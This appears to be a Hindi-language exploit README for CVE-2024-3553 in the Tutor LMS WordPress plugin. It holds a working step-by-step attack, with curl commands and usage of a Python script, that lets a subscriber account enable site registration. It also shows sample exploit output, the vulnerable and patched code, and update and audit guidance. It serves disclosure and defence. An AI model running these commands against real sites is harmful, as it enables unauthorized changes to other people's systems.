
CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration
Tutor LMS – eLearning और ऑनलाइन कोर्स समाधान प्लगइन WordPress के लिए, hide_notices() फ़ंक्शन में क्षमता जांच की कमी के कारण, संस्करण 2.6.2 तक के सभी संस्करणों में डेटा के अनधिकृत संशोधन के प्रति संवेदनशील है। इससे प्रमाणित हमलावरों (जिनमें कम-विशेषाधिकार वाले उपयोगकर्ता जैसे सब्सक्राइबर शामिल हैं) के लिए उन साइटों पर उपयोगकर्ता पंजीकरण सक्षम करना संभव हो जाता है जिन्हें एडमिनिस्ट्रेटर ने अक्षम किया हो सकता है।
एक पूर्ण Python शोषण उपलब्ध है: exploit-cve-2024-3553-v2.py
# Fully automated exploitation
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# Check registration status only
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
पूर्वापेक्षाएँ:
चरण 1: कम-विशेषाधिकार वाले उपयोगकर्ता के रूप में लॉगिन करें
# Login as subscriber or any authenticated user
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
चरण 2: एडमिन क्षेत्र से नॉन्स निकालें
# Any authenticated user can access /wp-admin/ (even subscribers)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
चरण 3: शोषण निष्पादित करें
# Send request to enable user registration
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
चरण 4: सफलता सत्यापित करें
# Check if registration is now enabled
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"
# As any authenticated user, simply visit:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization
Target: https://target.com
======================================================================
[*] Checking current registration status...
[+] Registration is currently DISABLED
[*] Attempting to login as: subscriber
[+] Successfully logged in as: subscriber
[*] Step 2: Extracting nonce from admin area...
[+] Found nonce: abc123def456
[*] Step 3: Executing exploit to enable user registration...
[*] Target: https://target.com
[*] Using nonce: abc123def456
[*] Exploit URL: https://target.com/wp-admin/index.php
[*] Parameters: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Response status: 200
[+] Exploit request sent successfully!
[*] Step 4: Verifying exploitation success...
[+] Registration is currently ENABLED
======================================================================
[!] EXPLOITATION SUCCESSFUL!
[!] User registration is now ENABLED
[!]
[!] Impact: An attacker with a low-privilege account (subscriber)
[!] was able to enable user registration on a site where it was
[!] disabled. This could allow creation of additional accounts,
[!] potentially leading to spam or unauthorized access.
======================================================================
फ़ाइल: /classes/User.php (पंक्तियाँ ~800-815)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// NO CAPABILITY CHECK - Any authenticated user can execute this!
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
मुख्य भेद्यता बिंदु:
is_admin() केवल यह सत्यापित करता है कि अनुरोध एक एडमिन पेज पर है, न कि यह कि उपयोगकर्ता एडमिनिस्ट्रेटर है/wp-admin/ तक पहुँच सकता है (सब्सक्राइबर भी)current_user_can('manage_options') क्षमता जाँचusers_can_register विकल्प को संशोधित कर सकता हैफ़ाइल: /classes/User.php (पैच किया गया संस्करण)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// SECURITY FIX: Added capability check
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // Now properly protected
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
पैच यह सुनिश्चित करने के लिए current_user_can('manage_options') जोड़ता है कि विकल्प अद्यतन की अनुमति देने से पहले उपयोगकर्ता के पास एडमिनिस्ट्रेटर विशेषाधिकार हैं।
यह भेद्यता WordPress प्राधिकरण फ़ंक्शंस की महत्वपूर्ण गलतफहमी को प्रदर्शित करती है:
गलत ❌:
if ( is_admin() ) {
// Thinking this means "user is an admin"
update_option( 'sensitive_option', $value );
}
सही ✅:
if ( current_user_can( 'manage_options' ) ) {
// Actually checks if user has admin capabilities
update_option( 'sensitive_option', $value );
}
उचित WordPress सुरक्षा के लिए कई परतें आवश्यक हैं:
इनमें से किसी भी परत की अनुपस्थिति भेद्यताओं को जन्म दे सकती है।
साइट एडमिनिस्ट्रेटर के लिए:
Tutor LMS संस्करण 2.7.0 या बाद के संस्करण में तुरंत अपडेट करें:
# Via WP-CLI
wp plugin update tutor --version=2.7.0
# Via WordPress Admin
Dashboard → Plugins → Find "Tutor LMS" → Click "Update Now"
हाल के परिवर्तनों का ऑडिट करें:
# Check if registration setting was modified recently
wp option get users_can_register
# Review recent user registrations
wp user list --orderby=registered --order=DESC --number=20
is_admin() पर भरोसा न करेंcurrent_user_can() का उपयोग करेंप्राधिकरण समस्याओं के लिए WordPress प्लगइन्स का ऑडिट करते समय:
# 1. Search for is_admin() without capability checks
grep -r "is_admin()" . | grep -v "current_user_can"
# 2. Look for direct option updates
grep -r "update_option\|add_option" .
# 3. Find AJAX handlers without capability checks
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"
README.md - यह फ़ाइलexploit-cve-2024-3553.py - मूल Python शोषणexploit-cve-2024-3553-v2.py - विस्तृत दस्तावेज़ीकरण के साथ उन्नत Python शोषणmanual-exploit-cve-2024-3553.sh - मैन्युअल शोषण स्क्रिप्टtest-cve-2024-3553-direct.sh - प्रत्यक्ष सत्यापन परीक्षण स्क्रिप्टखोजा गया: 2024-04-15 प्रकट किया गया: 2024-05-20 पैच किया गया: 2024-05-21 (v2.7.0) परीक्षण तिथि: 2025-12-26 वर्गीकरण: सफल भेद्यता सत्यापन
| फ़ंक्शन | यह वास्तव में क्या जाँचता है | सुरक्षा उपयोग |
|---|
is_admin() | क्या वर्तमान URL /wp-admin/ में है | ❌ प्राधिकरण के लिए नहीं |
current_user_can() | क्या उपयोगकर्ता के पास विशिष्ट क्षमता है | ✅ उचित प्राधिकरण |
wp_verify_nonce() | क्या अनुरोध जानबूझकर है (CSRF सुरक्षा) | ✅ लेकिन अकेला पर्याप्त नहीं |